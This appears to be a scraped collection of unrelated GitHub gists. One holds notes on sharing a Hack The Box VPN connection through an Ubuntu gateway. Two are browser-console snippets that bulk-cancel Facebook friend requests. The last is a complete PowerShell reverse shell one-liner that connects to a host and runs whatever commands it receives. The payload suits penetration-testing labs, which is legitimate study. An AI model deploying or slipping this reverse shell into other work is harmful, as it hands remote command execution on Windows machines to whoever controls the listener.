Set up an HTB (Hack The Box) OpenVPN client in Ubuntu 18 to act as a VPN gateway and forward traffic from your LAN, which includes a Kali machine, to the internal network of HTB.
- Problem: OpenVPN allow single connection concurrently to connect to the HTB lab. Hence, we can't distribute the OpenVPN config file to others as it will kick out the previously connected user.
- What to expect: Able to share connection with multiple clients within the same network to HTB lab via Ubuntu server as VPN gateway.
- Issue to expect: 1) Could not establish reverse shell directly to Kali machine.
- Workaround: 1) Use port forwarder eg, use socat or iptables in Ubuntu gateway and forward to Kali machine
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 1. Open google chrome | |
| 2. Go to fb mobile link | |
| https://m.facebook.com/friends/center/requests/outgoing/#friends_center_main | |
| 3. Open Inspector mode/Dev tool | |
| 4. Hover over "cancel" button to find the class | |
| 5. Copy the class and replace in the following code - | |
| javascript: var inputs = document.getElementsByClassName('class'); | |
| for (var i = 0; i < inputs.length; i++) { | |
| inputs[i].click(); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (() => { | |
| const buttons = document.getElementsByClassName('_54k8 _52jg _56bs _26vk _2b4n _56bt'); | |
| Object.values(buttons) | |
| .forEach((button) => button.click()); | |
| })(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |